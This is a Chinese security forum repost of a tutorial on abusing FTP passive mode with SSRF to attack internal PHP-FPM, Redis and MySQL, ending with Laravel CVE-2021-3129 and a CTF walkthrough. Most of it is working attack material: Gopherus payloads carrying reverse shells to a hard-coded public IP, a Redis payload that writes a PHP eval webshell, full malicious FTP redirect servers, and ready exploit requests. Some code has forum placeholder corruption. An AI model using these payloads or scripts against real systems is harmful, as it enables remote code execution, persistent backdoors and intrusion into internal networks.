安全矩阵

 找回密码
 立即注册
搜索
查看: 2803|回复: 0

教你用FTP/SSRF打穿内网

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-29 16:09:17 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-10-29 16:18 编辑

原文链接:教你用FTP/SSRF打穿内网


基础知识
FTP 协议FTP
(File Transfer Protocol,文件传输协议) 是 TCP/IP 协议组中的协议之一。FTP 协议包括两个组成部分,其一为 FTP 服务器,其二为 FTP 客户端。其中 FTP 服务器用来存储文件,用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP 服务器上的资源。在开发网站的时候,通常利用 FTP 协议把网页或程序传到 Web 服务器上。此外,由于 FTP 传输效率非常高,在网络上传输大的文件时,一般也采用该协议。
默认情况下 FTP 协议使用 TCP 端口中的 20 和 21 这两个端口,其中 20 用于传输数据,21 用于传输控制信息。但是,是否使用 20 作为传输数据的端口与 FTP 使用的传输模式有关,如果采用主动模式,那么数据传输端口就是 20;如果采用被动模式,则具体最终使用哪个端口要服务器端和客户端协商决定。
FTP 协议的工作方式
FTP 支持两种模式,一种方式叫做 Standard(也就是 PORT 方式,主动方式),一种是 Passive(也就是PASV,被动方式)。Standard 模式 FTP 的客户端发送 PORT 命令到 FTP 服务器。Passive 模式 FTP 的客户端发送 PASV 命令到 FTP 服务器。
下面介绍一下这两种方式的工作原理:
Port
FTP 客户端首先和 FTP 服务器的 TCP 21 端口建立连接,通过这个通道发送控制命令。控制连接建立后,如果客户端需要接收数据,则在这个控制通道上发送 PORT 命令。PORT 命令包含了客户端用什么端口接收数据(PORT 命令的格式比较特殊)。在传送数据的时候,服务器端通过自己的 TCP 20 端口连接至客户端用 PORT 命令指定的端口发送数据。可见,FTP 服务器必须主动和客户端建立一个新的连接用来传送数据。
Passive
在建立控制通道的时候和 Standard 模式类似,都是 FTP 客户端和 FTP 服务器的 TCP 21 端口建立连接,但建立连接后发送的不是 PORT 命令,而是 PASV 命令。FTP 服务器收到 PASV 命令后,随机打开一个高端端口(端口号大于1024)并且通知客户端在这个端口上传送数据的请求,客户端连接到 FTP 服务器的此高端端口,通过三次握手建立通道,然后 FTP 服务器将通过这个端口进行数据的传送。
简单地说,主动模式和被动模式这两种模式是按照 FTP 服务器的 “角度” 来说的,更通俗一点说就是:在传输数据时,如果是服务器主动连接客户端,那就是主动模式;如果是客户端主动连接服务器,那就是被动模式。
可见,在被动方式中,FTP 客户端和服务端的数据传输端口是由服务端指定的,而且还有一点是很多地方没有提到的,实际上除了端口,服务器的地址也是可以被指定的。由于 FTP 和 HTTP 类似,协议内容全是纯文本,所以我们可以很清晰的看到它是如何指定地址和端口的:
PYTHON
[tr]                [/tr][/table]227 Entering Passive Mode(192,168,9,2,4,8)                        227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语,而 (192,168,9,2,4,8) 代表让客户端到连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口。
这样,假如我们指定 (127,0,0,1,0,9000) ,那么便可以将地址和端口指到 127.0.0.1:9000,也就是本地的 9000 端口。同时由于 FTP 的特性,其会把传输的数据原封不动的发给本地的 9000 端口,不会有任何的多余内容。如果我们将传输的数据换为特定的 Payload 数据,那我们便可以攻击内网特定端口上的应用了。在这整个过程中,FTP 只起到了一个重定向 Payload 的内容。
实例演示Demo首先看到以下这段代码:
PHP
  1. <?php
  2. file_put_contents($_GET['file'], $_GET['data']);
复制代码


在不能写文件的环境下我们如何才能实现 RCE 呢?那么这个时候我们便可以从 FTP 的被动模式入手,通过 SSRF 攻击内网应用。
攻击内网 PHP-FPM

假设此时发现内网中存在 PHP-FPM,那我们可以通过 FTP 的被动模式攻击内网的 PHP-FPM。
首先使用 Gopherus 生成 Payload:
BASH
  1. python gopherus.py --exploit fastcgi
  2. /var/www/html/index.php  # 这里输入的是目标主机上一个已知存在的php文件
  3. bash -c "bash -i >& /dev/tcp/VPS/2333 0>&1"  # 这里输入的是要执行的命令
复制代码



得到的 Payload 只要 _ 后面的部分:
PYTHON
                %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.101.57.72/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00                        然后在 VPS 上运行以下脚本,搭建一个恶意的 FTP 服务器:
PYTHON
  1. # evil_ftp.py
  2. import socket
  3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4. s.bind(('0.0.0.0', 23))
  5. s.listen(1)
  6. conn, addr = s.accept()
  7. conn.send(b'220 welcome\n')
  8. #Service ready for new user.
  9. #Client send anonymous username
  10. #USER anonymous
  11. conn.send(b'331 Please specify the password.\n')
  12. #User name okay, need password.
  13. #Client send anonymous password.
  14. #PASS anonymous
  15. conn.send(b'230 Login successful.\n')
  16. #User logged in, proceed. Logged out if appropriate.
  17. #TYPE I
  18. conn.send(b'200 Switching to Binary mode.\n')
  19. #Size /
  20. conn.send(b'550 Could not get the file size.\n')
  21. #EPSV (1)
  22. conn.send(b'150 ok\n')
  23. #PASV
  24. conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
  25. conn.send(b'150 Permission denied.\n')
  26. #QUIT
  27. conn.send(b'221 Goodbye.\n')
  28. conn.close()
复制代码



开启 nc 监听,等待反弹shell:

最后构造请求发送 Payload 就行了:
CODE
                /?file=ftp://aaa@47.101.57.72:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.101.57.72/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00                        

如上图所示,成功反弹 Shell。
攻击内网 Redis

假设内网中存在 Redis 并且可以未授权访问的话,我们也可以直接攻击 Redis,实现写入 Webshell、SSH 秘钥、计划任务等。
首先编写脚本生成攻击 Redis 的 Payload:
BASH
  1. import urllib
  2. protocol="gopher://"
  3. ip="127.0.0.1"
  4. port="6379"
  5. shell="\n\n<?php eval($_POST["whoami"]);?>\n\n"
  6. filename="shell.php"
  7. path="/var/www/html"
  8. passwd=""    # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
  9. cmd=["flushall",
  10.          "set 1 {}".format(shell.replace(" ","${IFS}")),
  11.          "config set dir {}".format(path),
  12.          "config set dbfilename {}".format(filename),
  13.          "save"
  14.          ]
  15. if passwd:
  16.         cmd.insert(0,"AUTH {}".format(passwd))
  17. payload=protocol+ip+":"+port+"/_"
  18. def redis_format(arr):
  19.         CRLF="\r\n"
  20.         redis_arr = arr.split(" ")
  21.         cmd=""
  22.         cmd+="*"+str(len(redis_arr))
  23.         for x in redis_arr:
  24.                 cmd+=CRLF+"[        DISCUZ_CODE_3        ]quot;+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  25.         cmd+=CRLF
  26.         return cmd

  27. if __name__=="__main__":
  28.         for x in cmd:
  29.                 payload += urllib.quote(redis_format(x))
  30.         print payload
复制代码


童谣得到的 Payload 只选取 _ 后面的部分:
PYTHON
                %2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A                        然后还是在攻击机上运行 evil_ftp.py 启动一个伪 FTP 服务:
PYTHON
  1. import socket
  2. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3. s.bind(('0.0.0.0', 23))
  4. s.listen(1)
  5. conn, addr = s.accept()
  6. conn.send(b'220 welcome\n')
  7. #Service ready for new user.
  8. #Client send anonymous username
  9. #USER anonymous
  10. conn.send(b'331 Please specify the password.\n')
  11. #User name okay, need password.
  12. #Client send anonymous password.
  13. #PASS anonymous
  14. conn.send(b'230 Login successful.\n')
  15. #User logged in, proceed. Logged out if appropriate.
  16. #TYPE I
  17. conn.send(b'200 Switching to Binary mode.\n')
  18. #Size /
  19. conn.send(b'550 Could not get the file size.\n')
  20. #EPSV (1)
  21. conn.send(b'150 ok\n')
  22. #PASV
  23. conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,6379)\n') #STOR / (2)
  24. conn.send(b'150 Permission denied.\n')
  25. #QUIT
  26. conn.send(b'221 Goodbye.\n')
  27. conn.close()
复制代码



最后直接构造请求发送 Payload:
CODE
                /?file=ftp://aaa@47.101.57.72:23/123&data=%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A                        如下图所示,成功写入 Webshell:


攻击内网 MySQL

假设内网中存在 MySQL 并且可以未授权访问的话,我们也可以直接攻击其 MySQL,具体操作有查询 MySQL 中的数据、写入 Webshell、UDF 提权执行系统命令等。下面我们以 MySQL 5.7 的 system 提权执行系统命令为例进行演示。
首先使用 Gopherus 生成 Payload:
BASH
  1. python gopherus.py --exploit mysql
  2. root    # 这里输入MySQL的用户名
  3. system bash -c "bash -i >& /dev/tcp/47.101.57.72/2333 0>&1";  # 这里输入的是需要执行的MySQL语句或命令, 这里我们反弹shell
复制代码



得到的 Payload 只选取 _ 后面的:
PYTHON
                %a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%3d%00%00%00%03%73%79%73%74%65%6d%20%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%34%37%2e%31%30%31%2e%35%37%2e%37%32%2f%32%33%33%33%20%30%3e%26%31%22%3b%01%00%00%00%01                        然后还是在攻击机上运行 evil_ftp.py 启动一个伪 FTP 服务:
PYTHON
  1. import socket
  2. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3. s.bind(('0.0.0.0', 23))
  4. s.listen(1)
  5. conn, addr = s.accept()
  6. conn.send(b'220 welcome\n')
  7. #Service ready for new user.
  8. #Client send anonymous username
  9. #USER anonymous
  10. conn.send(b'331 Please specify the password.\n')
  11. #User name okay, need password.
  12. #Client send anonymous password.
  13. #PASS anonymous
  14. conn.send(b'230 Login successful.\n')
  15. #User logged in, proceed. Logged out if appropriate.
  16. #TYPE I
  17. conn.send(b'200 Switching to Binary mode.\n')
  18. #Size /
  19. conn.send(b'550 Could not get the file size.\n')
  20. #EPSV (1)
  21. conn.send(b'150 ok\n')
  22. #PASV
  23. conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,3306)\n') #STOR / (2)
  24. conn.send(b'150 Permission denied.\n')
  25. #QUIT
  26. conn.send(b'221 Goodbye.\n')
  27. conn.close()
复制代码



开启 nc 监听,等待反弹shell:

最后直接构造请求发送 Payload:
CODE
                /?file=ftp://aaa@47.101.57.72:23/123&data=%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%3d%00%00%00%03%73%79%73%74%65%6d%20%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%34%37%2e%31%30%31%2e%35%37%2e%37%32%2f%32%33%33%33%20%30%3e%26%31%22%3b%01%00%00%00%01                        如下图所示,成功反弹 Shell:

活学活用
Laravel Debug mode && FTP SSRF to RCE
Laravel 是一套简洁、开源的 PHP Web 开发框架,旨在实现 Web 软件的 MVC 架构。
2021 年 01 月 12 日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当 Laravel 开启了 Debug 模式时,由于 Laravel 自带的 Ignition 组件对 file_get_contents() 和 file_put_contents() 函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意 Log 文件等方式触发 Phar 反序列化,最终造成远程代码执行:
  •         vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

该漏洞可以简化为以下两行:
PHP
  1. $contents = file_get_contents($parameters['viewFile']);
  2. file_put_contents($parameters['viewFile'], $contents);
复制代码


可以看到这里主要功能点是:读取一个给定的路径 $parameters['viewFile'],并替换读取到的内容中的 $variableName 为$variableName ?? '',之后写回文件中 $parameters['viewFile'],这相当于什么都没有做!
​​
该漏洞的预期利用方法是重写日志文件然后使用 phar:// 协议去触发 Phar 反序列化并实现 RCE。但有时候由于某些原因,我们无法是通过该方法进行 RCE,这时候我们便可以考虑本篇文章所讲的知识点,利用 FTP SSRF 攻击内网应用,从而寻找 RCE 的办法。
由于我们可以运行 file_get_contents 来查找任何东西,因此,可以运用 SSRF 常用的姿势,通过发送 HTTP 请求来扫描常用端口。假设此时我们发现目标正在监听 9000 端口,则很有可能目标主机上正在运行着 PHP-FPM,我们可以进一步利用该漏洞来攻击 PHP-FPM。
众所周知,如果我们能向 PHP-FPM 服务发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与 gopher:// 协议结合使用,curl支持 gopher:// 协议,但 file_get_contents 和 file_put_contents 却不支持。
另一个已知的允许通过 TCP 发送二进制数据包的协议就是我们本文所讲的 FTP,更准确的说是该协议的被动模式,即:如果一个客户端试图从 FTP 服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个特定的 IP 和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。
现在,由于该 laravel 漏洞中 file_get_contents 和 file_put_contents 这两个函数在作祟,如果我们尝试使用 viewFile=ftp://evil-server/file.txt 来利用这个漏洞,会发生以下情况:
  •         file_get_contents 连接到我们的FTP服务器,并下载 file.txt。
  •         file_put_contents 连接到我们的FTP服务器,并将其上传回 file.txt。
现在,你可能已经知道这是怎么回事:我们将使用 FTP 协议的被动模式让 file_get_contents 在我们的服务器上下载一个文件,当它试图使用 file_put_contents 把它上传回去时,我们将告诉它把文件发送到 127.0.0.1:9000。
这样,我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成 SSRF。
下面我们来演示一下攻击过程。
首先,我们使用gopherus生成攻击fastcgi的payload:
BASH
  1. python gopherus.py --exploit fastcgi
  2. /var/www/public/index.php  # 这里输入的是目标主机上一个已知存在的php文件
  3. bash -c "bash -i >& /dev/tcp/192.168.1.7/2333 0>&1"  # 这里输入的是要执行的命令
复制代码



得到 payload,同样是只需要 payload 中 _ 后面的数据部分,即:
PYTHON
                %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.7/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00                        在攻击机上设置好监听:

然后编写如下脚本(脚本是从网上扒的:https://github.com/Maskhe/evil_ftp,谁叫我菜呢,大佬勿喷~~),在攻击机上搭建一个恶意的 ftp 服务,并将上面的 payload 中的数据替换掉下面 ftp 脚本中的 payload 的内容:
PYTHON
  1. # -*- coding: utf-8 -*-
  2. # @Time    : 2021/1/13 6:56 下午
  3. # @Author  : tntaxin
  4. # @File    : ftp_redirect.py
  5. # @Software:

  6. import socket
  7. from urllib.parse import unquote

  8. # 对gopherus生成的payload进行一次urldecode
  9. payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.7/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
  10. payload = payload.encode('utf-8')

  11. host = '0.0.0.0'
  12. port = 23
  13. sk = socket.socket()
  14. sk.bind((host, port))
  15. sk.listen(5)

  16. # ftp被动模式的passvie port,监听到1234
  17. sk2 = socket.socket()
  18. sk2.bind((host, 1234))
  19. sk2.listen()

  20. # 计数器,用于区分是第几次ftp连接
  21. count = 1
  22. while 1:
  23.     conn, address = sk.accept()
  24.     conn.send(b"200 \n")
  25.     print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
  26.     if count == 1:
  27.         conn.send(b"220 ready\n")
  28.     else:
  29.         conn.send(b"200 ready\n")

  30.     print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
  31.     if count == 1:
  32.         conn.send(b"215 \n")
  33.     else:
  34.         conn.send(b"200 \n")

  35.     print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
  36.     if count == 1:
  37.         conn.send(b"213 3 \n")  
  38.     else:
  39.         conn.send(b"300 \n")

  40.     print(conn.recv(20))  # EPSV\r\n'
  41.     conn.send(b"200 \n")

  42.     print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
  43.     if count == 1:
  44.         conn.send(b"227 192,168,1,7,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
  45.     else:
  46.         conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则:35*256+40=9000

  47.     print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
  48.     if count == 1:
  49.         conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
  50.         # 新建一个socket给服务端返回我们的payload
  51.         print("建立连接!")
  52.         conn2, address2 = sk2.accept()
  53.         conn2.send(payload)
  54.         conn2.close()
  55.         print("断开连接!")
  56.     else:
  57.         conn.send(b"150 \n")
  58.         print(conn.recv(20))
  59.         exit()

  60.     # 第一次连接是下载文件,需要告诉客户端下载已经结束
  61.     if count == 1:
  62.         conn.send(b"226 \n")
  63.     conn.close()
  64.     count += 1
复制代码


运行上述脚本,一个恶意ftp服务就起来了:

这个脚本做的事情很简单,就是当客户端第一次连接的时候返回我们预设的payload;当客户端第二次连接的时候将客户端的连接重定向到 127.0.0.1:9000,也就是目标主机上 php-fpm 服务的端口,从而造成 SSRF,攻击其 php-fpm。
最后,构造如下请求,即可触发攻击并反弹 Shell:
CODE
  1. POST /_ignition/execute-solution HTTP/1.1
  2. Host: 192.168.1.12:8000
  3. Content-Type: application/json
  4. Content-Length: 189

  5. {
  6.   "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  7.   "parameters": {
  8.     "variableName": "username",
  9.     "viewFile": "ftp://aaa@192.168.1.7:23/123"
  10.   }
  11. }
复制代码


[2021 羊城杯CTF]Cross The Side
进入题目,又是 Laravel:

根据 Laravel 的版本猜测应该是 Laravel Debug mode RCE,但是尝试 Debug RCE 并没有成功,可能是日志文件太大的原因。然后端口扫描发现其本地 6379 端口上有一个 Redis,猜测本题应该是通过 FTP 被动模式打内网的 Redis。参照前面所讲的原理,直接打就行了。
首先生成攻击 Redis 的 Gophar Payload:
PYTHON
  1. import urllib
  2. protocol="gopher://"
  3. ip="127.0.0.1"
  4. port="6379"
  5. shell="\n\n<?php eval($_POST["whoami"]);?>\n\n"
  6. filename="shell.php"
  7. path="/var/www/html"
  8. passwd=""    # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
  9. cmd=["flushall",
  10.          "set 1 {}".format(shell.replace(" ","${IFS}")),
  11.          "config set dir {}".format(path),
  12.          "config set dbfilename {}".format(filename),
  13.          "save"
  14.          ]
  15. if passwd:
  16.         cmd.insert(0,"AUTH {}".format(passwd))
  17. payload=protocol+ip+":"+port+"/_"
  18. def redis_format(arr):
  19.         CRLF="\r\n"
  20.         redis_arr = arr.split(" ")
  21.         cmd=""
  22.         cmd+="*"+str(len(redis_arr))
  23.         for x in redis_arr:
  24.                 cmd+=CRLF+"[        DISCUZ_CODE_11        ]quot;+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  25.         cmd+=CRLF
  26.         return cmd

  27. if __name__=="__main__":
  28.         for x in cmd:
  29.                 payload += urllib.quote(redis_format(x))
  30.         print payload
复制代码


生成的 payload 只取 _ 后面的数据部分:
PYTHON
                [table=98%]
                        %2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A                        然后在攻击机上搭建一个恶意的 FTP 服务,并将上面的 Payload 中的数据替换掉下面 FTP 脚本中的 Payload 的内容:
PYTHON
  1. # -*- coding: utf-8 -*-
  2. # @Time    : 2021/1/13 6:56 下午
  3. # @Author  : tntaxin
  4. # @File    : ftp_redirect.py
  5. # @Software:

  6. import socket
  7. from urllib.parse import unquote

  8. # 对gopherus生成的payload进行一次urldecode
  9. payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A")
  10. payload = payload.encode('utf-8')

  11. host = '0.0.0.0'
  12. port = 23
  13. sk = socket.socket()
  14. sk.bind((host, port))
  15. sk.listen(5)

  16. # ftp被动模式的passvie port,监听到1234
  17. sk2 = socket.socket()
  18. sk2.bind((host, 2333))
  19. sk2.listen()

  20. # 计数器,用于区分是第几次ftp连接
  21. count = 1
  22. while 1:
  23.     conn, address = sk.accept()
  24.     conn.send(b"200 \n")
  25.     print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
  26.     if count == 1:
  27.         conn.send(b"220 ready\n")
  28.     else:
  29.         conn.send(b"200 ready\n")

  30.     print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
  31.     if count == 1:
  32.         conn.send(b"215 \n")
  33.     else:
  34.         conn.send(b"200 \n")

  35.     print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
  36.     if count == 1:
  37.         conn.send(b"213 3 \n")
  38.     else:
  39.         conn.send(b"300 \n")

  40.     print(conn.recv(20))  # EPSV\r\n'
  41.     conn.send(b"200 \n")

  42.     print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
  43.     if count == 1:
  44.         conn.send(b"227 47,101,57,72,0,2333\n")  # 服务端告诉客户端需要到那个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
  45.     else:
  46.         conn.send(b"227 127,0,0,1,0,6379\n")  # 端口计算规则:35*256+40=9000

  47.     print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
  48.     if count == 1:
  49.         conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
  50.         # 新建一个socket给服务端返回我们的payload
  51.         print("建立连接!")
  52.         conn2, address2 = sk2.accept()
  53.         conn2.send(payload)
  54.         conn2.close()
  55.         print("断开连接!")
  56.     else:
  57.         conn.send(b"150 \n")
  58.         print(conn.recv(20))
  59.         exit()

  60.     # 第一次连接是下载文件,需要告诉客户端下载已经结束
  61.     if count == 1:
  62.         conn.send(b"226 \n")
  63.     conn.close()
  64.     count += 1
复制代码


这个脚本做的事情很简单,就是当客户端第一次连接的时候返回我们预设的 Payload;当客户端第二次连接的时候将客户端的连接重定向到 127.0.0.1:6379,也就是目标主机上 Redis 服务的端口,从而造成 SSRF,攻击其 Redis。
运行 ftp_redirect.py:

然后发送请求就行了:
PYTHON
  1. POST /_ignition/execute-solution HTTP/1.1
  2. Host: 192.168.41.107:8077
  3. Content-Type: application/json
  4. Content-Length: 190

  5. {
  6.   "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  7.   "parameters": {
  8.     "variableName": "username",
  9.     "viewFile": "ftp://aaa@47.101.57.72:23/123"
  10.   }
  11. }
复制代码



执行后,成功写入 Webshell,然后读取 flag 就行了:

Author: Mockingjay
Link: https://whoamianony.top/2021/10/ ... %E5%86%85%E7%BD%91/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-7-19 20:07 , Processed in 0.017915 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表